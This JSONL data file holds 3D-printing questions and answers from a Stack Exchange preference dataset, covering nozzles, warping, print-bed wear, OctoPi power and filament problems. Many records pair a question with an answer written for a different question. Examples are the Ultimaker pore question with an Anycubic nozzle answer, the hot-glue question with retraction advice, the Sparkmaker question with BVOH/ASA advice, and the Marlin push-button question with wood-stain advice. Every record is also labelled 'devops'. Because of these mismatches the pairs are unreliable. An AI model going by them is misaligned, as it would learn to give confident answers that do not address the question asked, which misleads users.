{"id": "hf_9ca252ef4412", "question": "<p>I'd like to buy a new nozzle for my Anycubic i3 Mega because it's not precise enough - it fails to print small details like 1&nbsp;mm eyebrows.</p>\n\n<p>Currently it has a 0.4&nbsp;mm nozzle and I'd like to buy a better one but I don't know how to choose one which is compatible with this printer.</p>\n\n<p>If you have any advice, please let me know.</p>\n", "question_body": "", "answer": "According to\nAnycubic\nthis printer uses the E3D V5 type hotend as can be seen from the linked video of the AnyCubic Mega:\nThe brass nozzle you see is fully compatible with the E3D v6 nozzle and can be found on those typical auction and Chinese websites by looking for \"E3D nozzle\". They are also available from\nE3D directly\n, the designer/creator of the E3D hotend family, and other specialized manufacturers like the\nOlsson Ruby\n. These nozzles have a short nozzle (snout) and are screwed into the heater block with M6 threads.\n1)\nThe smaller the diameter, the smaller the filament traces and the higher the print detail resolution. Note that a smaller diameter causes thinner walls for the same amount of (vertical) walls and may require additional perimeters to get similar strength and rigidity. The maximum layer thickness also decreases, as prints with a layer height above 75 % of the nozzle diameter have very poor quality. As an example, a 0.25 mm nozzle should not print layers thicker than\n$0.75 \\times 0.25\\text{ mm} = 0.19\\text{ mm}$\n.\nAs such printing with smaller nozzle diameters increases print time. Also note that a smaller diameter requires more force to push the filament through and\ncould\nuse some extra temperature to make the filament more fluid or reduction of the print speed.\nJust buy some spare nozzles of different nozzle diameter and experiment what works best for you.\n1)\n-\nThe other popular style of M6 threaded nozzles has a long body and long taper (often referred to as MK8 nozzle; they come in two different shapes). While these might work, they extend from the heater block considerably further and might need readjustment of the heater block (\nas explained here\n):", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.199747"}
{"id": "hf_e20d2b837d79", "question": "<p>We have a fairly new Ultimaker 3 Extended.</p>\n\n<p>When printing ABS with the AA0.8 nozzle and the recommended settings (up-to-date CURA) we receive a very poor wall quality that exposes some kind of pores. I've attached an image of those pores.</p>\n\n<p>I assume those pores are dragged by the nozzle when it moves inwards to print the infill.</p>\n\n<p>I already tried to increase the wall thickness or increase the layer height to 0.3&nbsp;mm. Are there other settings I might be able to tweak to eliminate those pores? </p>\n\n<p><a href=\"https://i.stack.imgur.com/Rk9Lp.jpg\" rel=\"nofollow noreferrer\" title=\"Outer wall with pores\"><img src=\"https://i.stack.imgur.com/Rk9Lp.jpg\" alt=\"Outer wall with pores\" title=\"Outer wall with pores\"></a></p>\n", "question_body": "", "answer": "According to\nAnycubic\nthis printer uses the E3D V5 type hotend as can be seen from the linked video of the AnyCubic Mega:\nThe brass nozzle you see is fully compatible with the E3D v6 nozzle and can be found on those typical auction and Chinese websites by looking for \"E3D nozzle\". They are also available from\nE3D directly\n, the designer/creator of the E3D hotend family, and other specialized manufacturers like the\nOlsson Ruby\n. These nozzles have a short nozzle (snout) and are screwed into the heater block with M6 threads.\n1)\nThe smaller the diameter, the smaller the filament traces and the higher the print detail resolution. Note that a smaller diameter causes thinner walls for the same amount of (vertical) walls and may require additional perimeters to get similar strength and rigidity. The maximum layer thickness also decreases, as prints with a layer height above 75 % of the nozzle diameter have very poor quality. As an example, a 0.25 mm nozzle should not print layers thicker than\n$0.75 \\times 0.25\\text{ mm} = 0.19\\text{ mm}$\n.\nAs such printing with smaller nozzle diameters increases print time. Also note that a smaller diameter requires more force to push the filament through and\ncould\nuse some extra temperature to make the filament more fluid or reduction of the print speed.\nJust buy some spare nozzles of different nozzle diameter and experiment what works best for you.\n1)\n-\nThe other popular style of M6 threaded nozzles has a long body and long taper (often referred to as MK8 nozzle; they come in two different shapes). While these might work, they extend from the heater block considerably further and might need readjustment of the heater block (\nas explained here\n):", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.224749"}
{"id": "hf_0751b1418d21", "question": "<p>Is there a way to change the use of an extruder port on a 3D printer motherboard to move stepper motors (on y axis) on a 3D printer?</p>\n\n<p>This is for a school project, and we have replaced the extruder with a laser for cutting material.</p>\n\n<p>We were tasked with converting a 3D printer into LOM 3D printer, the laser is set using the fan port, however we still need two stepper motors to move material from one side of the printer to the other after each layer of material is cut.</p>\n\n<p><a href=\"https://i.stack.imgur.com/l40X1.png\" rel=\"nofollow noreferrer\" title=\"Diagram\"><img src=\"https://i.stack.imgur.com/l40X1.png\" alt=\"Diagram\" title=\"Diagram\"></a></p>\n\n<p>The mother board we are using is <a href=\"https://rads.stackoverflow.com/amzn/click/com/B07MXX2RV7\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">WitBot MKS Gen L V1.0 Controller Board Integrated mainboard Compatible Ramps1.4/Mega2560 R3 with A4988 Motor Driver for 3D</a>.</p>\n", "question_body": "", "answer": "This has nothing to do with the infill overlap, the image you've added looks as if the issue is related to non-bonding perimeters (it looks as if it is in between the 2\nnd\nand the 3\nrd\nperimeter), hence infill overlap doesn't apply here. If that is the case look into\nthis question\n.\nI've had this same issue, the problem is that if the perimeters do not touch, this is most probably caused by insufficient filament flow which can be a result of a too high of a print speed (or too low print temperature) of the inner perimeters. This is frequently seen when printing PETG. PETG has a limited print speed, the PETG I use (premium brand) has a maximum speed value of 50 mm/s, your values are for some values over that value. That would be fine for PLA, but high for PETG, the question is not clear on the material used for this print (the hotend temperatures hint to PLA, the bed temperatures are rather high though).\nIf it is not related to the material being printed, these gaps are also explained if the positioning of the nozzle is not correct, e.g. caused by loose belts. This is supported by the comment on the first layer:\nwhere the infill on a first layer would often not reach the perimeter shells", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.262226"}
{"id": "hf_a5301ca7231e", "question": "<p>During my last print I noticed this jumpy behavior during heat up (blue is bed, red is hotend):</p>\n\n<p><a href=\"https://i.stack.imgur.com/KlD2K.png\" rel=\"nofollow noreferrer\" title=\"Graph of heatbed and hotend temperature over time\"><img src=\"https://i.stack.imgur.com/KlD2K.png\" alt=\"Graph of heatbed and hotend temperature over time\" title=\"Graph of heatbed and hotend temperature over time\"></a></p>\n\n<p>So I am wondering about the jumps. What could cause this? I do not think that it is a defunct sensor (it is in both sensors) and I also don't think it is real. Could this pose some sort of hazard as temperature might not properly be controlled?</p>\n\n<p>I use an Anet A8 printer with Marlin 1.1.9 and Octoprint</p>\n", "question_body": "", "answer": "It looks like everything is ok with the real temperature, and it is just Octoprint missing some readings, like Oscar said. \nBut I think it is unlikely the USB cables fault, the whole print would fail in that case. I think the PI is to busy, maybe due to a Webcam streaming at high rate (try reducing the framerate). Another reason might be if you use a PI Zero W, especially if you transfer data over the Wifi at the same time, since Wifi and USB cause bottlenecks for each other on that board.\nPS. I'd comment, but don't have privilege yet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.286866"}
{"id": "hf_f1df3d4367f1", "question": "<p>I acquired an Anycubic Chiron yesterday. I went through the leveling procedure and I think the level test print came out okay so I printed a 20&nbsp;mm calibration cube and a benchy. Both of these came out with a sort of spongy consistency.</p>\n\n<p>I have no idea what could be causing this so some advice would be appreciated.</p>\n\n<p>I'm using Ultimaker Cura 4.0.0 and printing in PLA.</p>\n\n<p><a href=\"https://i.stack.imgur.com/s3Gs0.jpg\" rel=\"nofollow noreferrer\" title=\"Spongy Print\"><img src=\"https://i.stack.imgur.com/s3Gs0.jpg\" alt=\"Spongy Print\" title=\"Spongy Print\"></a></p>\n", "question_body": "", "answer": "I would lay odds on it being your filament is moisture saturated. You don't state what type of filament you're using, but to my understanding this is what happens when it is saturated. The water evaporates as it goes through the nozzle, which causes the filament to puff up, which leaves voids in your print.\nThe print itself looks like it came out rather well. I mean, the edges of the print are solid and everything is clearly defined. This would state to me the slicer and the printer itself are doing their jobs well. You didn't measure it (or leave any hint you did), so I'll assume the overall dimensions are good.\nTry a different filament and see if you get better results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.413197"}
{"id": "hf_ac2d2feb82ee", "question": "<p>I am trying to print the 3 jaw lathe chuck on <a href=\"https://www.thingiverse.com/thing:624625\" rel=\"nofollow noreferrer\">Thingiverse</a>. This specific piece is the scroll.stl, but it applies on every big piece. The print material is (transparent) PLA, that I print on custom glass bed, which is heated by a regular heated bed at 65&nbsp;°C. However, my print is warping on the external edges of a solid 2&nbsp;mm for a 85&nbsp;mm diameter print.</p>\n\n<p><a href=\"https://i.stack.imgur.com/O7rCP.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/O7rCP.jpg\" alt=\"Print warping\"></a></p>\n\n<p>I didn't use the cooling fan. And I don't have an enclosure to keep the warmth inside the printing area. The nozzle temperature is around 200&nbsp;°C.</p>\n\n<p>What could be wrong?\nThe printer is a slightly modified Prusa i3 MK2.</p>\n", "question_body": "", "answer": "Several things I've done to stop warping when it occurred:\nUse a wider brim.\nIf the brim isn't sticking, use a higher bed temperature for the first layer.\nIf the brim comes up only on one side or warping is only on one side, make sure the bed is level.\nSlowing down the print will keep you from having as long of a strand cooling down.  This will lower the contraction force and reduce warping.\nA hotter bed temperature will reduce the temperature difference between the extrusion and the bed, thus reducing the contraction force.\n200 °C is a good temperature for getting PLA to stick.  I've tried lower extrusion temperatures to reduce the temperature difference between the extruder and the bed, but this decreases adhesion to the bed and is counterproductive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.454540"}
{"id": "hf_98c0a3e3aa97", "question": "<p>I made a print that involves joining two halves together to create the full model. I decided to use hot glue to bond the halves and on one model, the parts came together slightly skewed. Is there any way to ‘unbond’ the hot glue without ruining the model so I can realign the pieces? Touching the glue gun tip to the hot glue wouldn’t work, as the glue is <em>inside</em> the model.</p>\n", "question_body": "", "answer": "it seems like retraction issue\ni would say you should experiment with\nretraction length - so it would retract more\nextra extrusion after retraction - so the printer could put some material before it will start your next hole :)\nunfortunately there is no good guide how much it should retract and how much it should additionally extrude as it depends on \"all your printing circumstances\" but here is my arbitrary list in order of importance\nfilament (density - type and producer)\ntemperature (viscosity - hotter filament flows easier)\nnozzle diam (as filament escapes easier through big hole ;)\nheat barrier (cooling efficiency - filament should be cool as long as possible up to (or down to) the nozzle)\nextruder gearing quality (good coupling makes precise retraction and extra-extrusion)\ncooling (fan and duct should cool your printing right after it sticks to the surface)\nand one more thing worth to mention\nusually the first layer is not cooled which makes whole system hotter (so filament flows easier)\nyou could experiment with it too especially for big printouts\nso\noverextrude first layer AND\nturn on cooling first layer\nit seems like there is a bunch of things you can do to master it :)\ngood luck - it's definitely manageable", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.504294"}
{"id": "hf_6abb5bb92bf5", "question": "<p>I'm still new to 3D printing and I want to print something. I expect that I'll mess it up since I find nothing to adjust it but it is now laying around for 4 months and I'm sick of it.</p>\n\n<p>So my question is where do I find Windows software to print something and of course where do I get a 3D model?</p>\n\n<p>I own a Geeetech i3 Pro W.</p>\n", "question_body": "", "answer": "First; find a model!\nTo print something you require a\nmodel\n(usually this is in STL format, look into websites called\nThingiverse\nand\nMyMiniFactory\nfor examples). Once you have a model file, you need to make it readable for the printer firmware.\nIf you can't find suitable model, then you need to design a model yourself (or ask someone to do it for you) or adjust an existing model to suit your needs. \"\nGood (preferably free) Beginner Software for Part Creation?\n\" is a good place to start.\nSecond; use slicer software\nFor a printer to be able to print the model, the model needs to be sliced into layers. These layers need to be printed at specific speeds, temperatures, etc. Search online and look at the filament packaging (usually the ideal temperatures are on the packaging) to find the ideal temperature for your filament. If you are not using the right temperatures, your print will most likely fail. Programs that are able to slice models are called\nslicers\n. The most popular free (and Windows compatible) slicers are\nUltimaker Cura\nand\nSlic3r\n(or its\nPrusa distribution\n).\nThe slicer produces a printer readable file called a G-code file (file filled with printer instructions for e.g. movement and heating). This G-code file can be sent to the printer using specific printer software (e.g. OctoPrint, Repetier-Host, etc.) but more common or simple is to put the G-code file on an SD card and print the file using the print menu on the printer LCD.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.541752"}
{"id": "hf_bd371614547d", "question": "<p>The original bed surface of my Ender 3 has become brittle and finally cracked, requiring replacement. I'm trying to figure out what the cause might have been to avoid it happening again. It seems to have started after using \"flex PLA\", which involves both high temperatures (225&nbsp;&deg;C) and plasticizers mixed in the PLA. Could either of these have contributed to the problem? I'm not sure what material the bed surface is - it's the new one that's removable and held on by clips. If it's PEI, the glass transition temperature is supposedly 217&nbsp;&deg;C, just above what I use for normal PLA but well below what I'm using for the flex, so perhaps that's the cause?</p>\n\n<p>Image of the damage: <img src=\"https://i.stack.imgur.com/wXWW4.jpg\" alt=\"Image of the damage\"></p>\n", "question_body": "", "answer": "The material used for the Build surface is not PEI but a BuildTak Clone that offers adhesion through a rough surface texture. I do not know what exactly is in the composition of the polymer, but I can say that my bed surface needed replacement about 9 months after purchase after I vigorously removed a piece I printed. As a matter of fact, most build surfaces - even PEI - are pretty much going to wear out over time and need occasional replacement. Luckily, a build surface isn't expensive usually.\nTo prolong the life of the bed surface, I suggest:\ncheck the nozzle distance to the bed, as printing too close can make plastic residue extremely hard to remove.\nbe very careful when using sharp tools to remove parts - don't let a corner bite into the surface!\ndon't use a soldering iron or hot air gun on the build platform to remove stuck parts, you'll melt the surface and degrade it\nclean the surface at times.\nHowever, replacing the bed is easy enough, as I found out\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.566320"}
{"id": "hf_532c1fed6f3f", "question": "<p>Trying to print a 3D model for my mobile phone, but I see that when printing the sides, being thin, increases the retraction and the recoil seems a little abrupt and makes a coarse sound.</p>\n\n<p>I would like to know if it is possible to know what speed and temperature is recommended to print a model.</p>\n\n<p>In my case I use Simplify3D, and when I'm going to save the file in <code>.gcode</code> format, I see that there are some ranges shown in colors, how does this apply to the models?</p>\n\n<p><a href=\"https://i.stack.imgur.com/6Ysqr.png\" rel=\"nofollow noreferrer\" title=\"Screenshot of Simplify3D\"><img src=\"https://i.stack.imgur.com/6Ysqr.png\" alt=\"Screenshot of Simplify3D\" title=\"Screenshot of Simplify3D\"></a></p>\n", "question_body": "", "answer": "The first indication for print speed and temperature should be taken from the box the filament comes in. Generally it specifies temperature ranges for the hotend and the heated bed. Sometime, mostly online, more parameters can be found amongst which is the printing speed.\nDo note that temperature and printing speed are linked, if you want to print faster you should increase the temperature. But, if you are printing small or thin things you should print slower so that the part cools enough for the next layer. Basically, part cooling is then also important, but not all filament types (e.g. the ones with a high melt temperature like ABS or PETG) like being cooled too much. So you have another parameter to consider.\nIt is difficult to instruct you to print at a certain speed and certain temperatures as it is highly depending on the filament (e.g. also the filament diameter), the machine type/make and model, extruder setup (direct or Bowden), the print, enclosure, etc.\nBecause of the many parameters affecting printing, it is usually suggested to calibrate the printer by printing a\ntemperature tower\nor performing\nretraction tests\nto find the print window for your specific setup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.615129"}
{"id": "hf_0f9205d8c27a", "question": "<p>I'm wondering if there is some trick to power my OctoPi with the power supply of my 3D printer. I'm using an Geeetech I3 Pro W.</p>\n\n<p>The power supply itself should be able, but the output is as far as I'm aware of 3.3 volts. Not my desired 5&nbsp;V for USB, it would be a shame if I really would need to buy a new power supply when I have a strong one actually running. My current power supply causes a lot of \"Under-voltage detected!\" warnings.</p>\n\n<p>After thinking a little about the specs, there are cigarette lighter adapter for cars they use 12&nbsp;V. Has anyone experience with using that on his printer?</p>\n", "question_body": "", "answer": "Where are you plugging in the USB power to the Pi? If you are back powering it from the data connection, you will bypass the fuses and potentially ruin your Pi or worse. Look at this\nwiki\nunder the power section:\nBack-Powering; (powering the Raspberry Pi from a USB hub through the uplink/data port, single cable) Back powering is possible on the Raspberry Pi, but not advisable. Revision 1.0 boards have to be modified to back power, this is due to the 140 mA \"polyfuses\" that are installed in the USB port circuit. Revision 1.1 boards do not need modifications to back-power, they have replaced the polyfuses with 0 ohm resistors in their place. Revision 2.0 boards do not need modification, they have neither resistors nor polyfuses. It is advised that short (12\" (.3 meter) or less) USB cables be used for back-powering a Raspberry Pi. Cable resistance plus connector resistance can quickly reduce operating voltages below the proper range (5.25 V to 4.75 V). But do note that if you do not power the Raspberry Pi in the \"official manner\", that is through its micro-USB port, but use any alternative way (such as through the GPIO header, the test points TP1 and TP2), but also by back-powering it, you are actually bypassing the Raspberry Pi's input polyfuse protection device! This can have extreme consequences if ever you manage to put more than 6 V on the Raspberry Pi, even for a very short period. As this causes the overvoltage device D17 on the Raspberry Pi to trigger and short the 5 V supply! Without the polyfuse limiting the current through D17, it will burn out, probably melting the Raspberry Pi's enclosure with it, (if you have any) and possibly causing a fire-hazard. It will probably also create a permanent short of the 5 V supply! So be warned, and if you use back power make sure your hub or its PSU has a fuse to prevent this from happening. If not, add your own fuse.\nAs far as powering the Pi through a 12 V to 5 V converter this will work as long as the current is rated above what the Pi will use, preferably a lot higher. You will also have to consider how this option will cut the power abruptly when you switch the printer off and the Pi will not boot down properly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.639641"}
{"id": "hf_f4b0b5876e44", "question": "<p>My FDM printer bed moves on the Y-axis and the print head moves on the X-axis and raises on the Z-axis. When printing rectangular objects (a model of Notre Dame in this case), are there print detail quality advantages to aligning the model perpendicular to the X or Y axis, or at 45 degrees? Part strength is not an issue and support is not needed.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "In short: Not really.\nlonger version: It depends.\nThe main culprit of losing details in this case would be the weight and speed of the thing moving. So if you have a heavy X-axis carriage, acceleration and decelerating the carriage won't be instant. Same with the bed (Y-axis).\nAnother culprit can be slop in the system, so check your linear bearings and belt tension.\nAlso keep in mind that you are printing on the bed, so the weight of the Y-axis increases while the print progresses. This shouldn't be a problem for small prints, but if your print becomes bigger it can decrease the quality. Another factor is that every print will bend a little the higher it gets, so if you print a tall slender object, don't accelerate the bed too fast ;)\nTo summarize, for high detailed prints:\nLower the speed\nCheck the system for slop (tighten belts, and align linear bearings)\nTake the lightest axis for the highest detail (keep the weight of the print in mind)\nOne thing that you can do to test your machine is to test the ghosting on each axis (\nhttps://www.thingiverse.com/thing:277394\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.677831"}
{"id": "hf_5bb4698bf1f2", "question": "<p>I try to print a stamp with flexible filaments. The problem I encounter is that the filament is flexible, but not soft. This leads to small differences in height to parts of the stamp not working.</p>\n\n<p>One solution would be to add a small 'cushion' to add some squishyness to the stamp. I designed the stamp and the 'cushion' but now the question arises: \n\"Which infill will provide the best uniform squishyness (in one axis)?\"</p>\n\n<p>I did a test with cubic infill of Cura, and although it becomes quite squishy, some parts are squishier than other parts of the block.</p>\n\n<p>TLDR; Trying to print a squishy cube, where in one axis all areas of the cube have the same squishyness.</p>\n", "question_body": "", "answer": "As the rubber stamp needs to be soft in one axis for the whole area, you could use an infill that causes the same softness in all directions, but is sliced as such that the stamp experiences the same softness. Alternatively you can use the specific infill types for flexibility, but beware of the orientation:\nConcentric\nCross\nCross 3D\nFirst\n, to get the same softness in each direction you need to use an infill pattern that has similar/uniform properties (\nisotropic\n) in all dimensions.\nIt is suggested to look into the infill type called \"\ngyroid\n\" (see question\nWhat are the advantages of gyroid infill?\n).\nThis type of infill\nis described as:\nGyroid infill is one of the strongest infill types for a given weight, has isotropic properties, and prints relatively fast with reduced material use and a fully connected part interior.\nSecond\n, since the stamp has relief, slicing the part may cause different infill height. You could look into\nDifferent infill in the same part\nto e.g. get a solid infill for under the relief to get a uniform infill for the \"cushion\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.714724"}
{"id": "hf_314d41ad38af", "question": "<p>I am printing a mechanical part for my printer. </p>\n\n<p>It's a new mount for my extruders and I have been attempting to use BVOH as a support filament so that when my print is done it will cut down on the need to finish the part and possible mistakes. </p>\n\n<p>My problem is I can get the BVOH to adhere to the bed with no problem and no warping of any kind, but I can't get the ASA to adhere to the BVOH supports. I run the BVOH at 220&nbsp;&deg;C and the ASA at 250&nbsp;&deg;C with my fan at 10&nbsp;% and I am using a Flashforge Creator Pro printer which is mostly enclosed. </p>\n\n<p>Does anyone know of a way to get the ASA to adhere to the BVOH?</p>\n", "question_body": "", "answer": "Can you tell by looking at the de-adhesion what isn't sticking?\nIt may be that printing the ASA at higher temperature is melting the BVOH enough that it doesn't stick, being molten.  If so, then it may be possible to print the first layer of ASA at a cooler temperature, slower if necessary to still succeed at extrusion, with fans blowing.  Then, print the next layer of ASA at a higher temperature, also with fans flowing.\nA test might be to print the BVOH, then a layer of ASA, and stop.  Let it cool and test the adhesion.  If it sticks under these conditions, then a better command of the temperature profile may offer a way forward.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.762191"}
{"id": "hf_751e7b2499a4", "question": "<p>I don't want this to be a specific producer question, but I would like to know if the Sparkmaker is good enough to print small details in OO/HO scale objects.\nI'm referring here to objects like furniture, and other house appliances at scale.\nI wasn't able to find any visuals with very small objects for this printer.</p>\n", "question_body": "", "answer": "Can you tell by looking at the de-adhesion what isn't sticking?\nIt may be that printing the ASA at higher temperature is melting the BVOH enough that it doesn't stick, being molten.  If so, then it may be possible to print the first layer of ASA at a cooler temperature, slower if necessary to still succeed at extrusion, with fans blowing.  Then, print the next layer of ASA at a higher temperature, also with fans flowing.\nA test might be to print the BVOH, then a layer of ASA, and stop.  Let it cool and test the adhesion.  If it sticks under these conditions, then a better command of the temperature profile may offer a way forward.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.786298"}
{"id": "hf_45b4ce8b1b3e", "question": "<p>My voltage at the controller at max load is ~11.4&nbsp;V \n(heated bed + motors + hotend). Is this normal? </p>\n\n<p>I'm measuring 11.8&nbsp;V at the PSU, so 0.4&nbsp;V -> 5&nbsp;W lost in the wires.</p>\n\n<p>I have a pretty beefy ~2&nbsp;mm diameter copper wire that's ~1&nbsp;m long. Its area is 2.5&nbsp;mm<sup>2</sup>. The diameter with shielding is 3.5&nbsp;mm.</p>\n\n<p>Could there be a bad connection somewhere?</p>\n\n<p>Checked the wire is warm to touch, so looks like it's actually the cause.\nIs this normal? Should I go for even bigger wires?</p>\n", "question_body": "", "answer": "Per\nthis website\nit matches the expectations.\nUsing 13AWG =~ 2.5 mm^2, 18amps, 12volts, 6feet = 2meters (1m back and forth).\nResults in 0.4v drop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.810519"}
{"id": "hf_f8cc7a72f32e", "question": "<p>I printed parts for a Harry Potter wand with HatchBox Wood PLA, now I want to apply stain. I intended to try MinWax PolyShades wood stain, then noticed Varathane water-based wood stain is available at my local Rona hardware store. This seems a \"healthier\" option, maybe not as fussy to apply as PolyShades, anyone had experience with this product?</p>\n", "question_body": "", "answer": "Wood stains (as opposed to dyes, paints, etc.) work by having large particles that become lodged in the grain of the wood, yielding a result that varies in intensity with the grain of the wood and thereby brings out its beauty. It's unlikely that they will do what you want, or anything reasonable, on PLA that has wood particles mixed into it. You might be able to find some types of dyes that will work. I've used wood dyes on woods that don't take stain well and have had good results, and if the PLA+wood material consists of a significant amount of wood, it seems plausible that wood dyes might work well on it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.834324"}
{"id": "hf_0689367574e9", "question": "<p>Can any one help me out that how to start a cycle by just using a push button.</p>\n\n<p>Note: Using Marlin firmware, Arduino Mega, Ramps 1.4</p>\n\n<p>I haven't tried altering the Marlin code (as I am new to coding), I was just thinking of adopting this feature as it will be very easy for CNC DIY maker using Marlin code to run a cycle in a loop.</p>\n", "question_body": "", "answer": "Wood stains (as opposed to dyes, paints, etc.) work by having large particles that become lodged in the grain of the wood, yielding a result that varies in intensity with the grain of the wood and thereby brings out its beauty. It's unlikely that they will do what you want, or anything reasonable, on PLA that has wood particles mixed into it. You might be able to find some types of dyes that will work. I've used wood dyes on woods that don't take stain well and have had good results, and if the PLA+wood material consists of a significant amount of wood, it seems plausible that wood dyes might work well on it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.858676"}
{"id": "hf_f2bb48aad2b1", "question": "<p>Does anyone know how the developers of Marlin decided to name it that?</p>\n", "question_body": "", "answer": "Yes, it probably is totally off-topic, but fun too, so I'll try to get an answer in, before the question gets closed.\nThe best place to ask would be the\nFirmware - Marlin forum\n, on RepRap.org.\nThe question is there now,\nWhy was it named Marlin?\nand I'll update this answer, if/when I get a response...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.883117"}
{"id": "hf_bffc752bb769", "question": "<p><strong>Model:</strong> Infitary M508</p>\n\n<p><strong>Details:</strong> The filament is stuck in the extruder preheated for PLA (the filament is PLA 1.75 white). The extruder's motor works and the filament is in the hole of the extruder (not somewhere else). I took the fan covering the motor apart, to show what is inside, so you might see it on the attached image:</p>\n\n<p><a href=\"https://i.stack.imgur.com/znCxG.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/znCxG.png\" alt=\"enter image description here\"></a></p>\n\n<p>You might also see this video for details: <a href=\"https://www.youtube.com/watch?v=R8rYGhuYWvc\" rel=\"noreferrer\">https://www.youtube.com/watch?v=R8rYGhuYWvc</a></p>\n\n<p>I'm able to pull the filament out, when I uncouple the motor's gear, but it doesn't go through the extruder when I push it in.</p>\n\n<p>What can I do to fix this? Thanks!</p>\n\n<p>P.S. It's the first start of the printer.</p>\n", "question_body": "", "answer": "Unfortunately you're going to have to tear the extruder head apart and clean the nozzle. There are kits like the following (found on Amazon - No affiliation):\nThis will give you everything you need to clear the nozzle. The only other solution is to replace the nozzle and extruder tube. The filament is stuck in either or both of these parts.\n(As an aside ... a wise person <\ncough\n> @0scar <\ncough\n> once told me I should keep extras of these parts, as well as the thermister and heating elements on hand. Treat them as disposable parts ... once they're dead, just replace them.)\nWhat you need to figure out though, is why it clogged in the first place. More than likely you tried to extrude filament before the nozzle was up to temperature. If your readout said it was good, then you need to get a no-touch thermometer and check the nozzle for the proper temperature prior to printing to ensure it's all good.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.907492"}
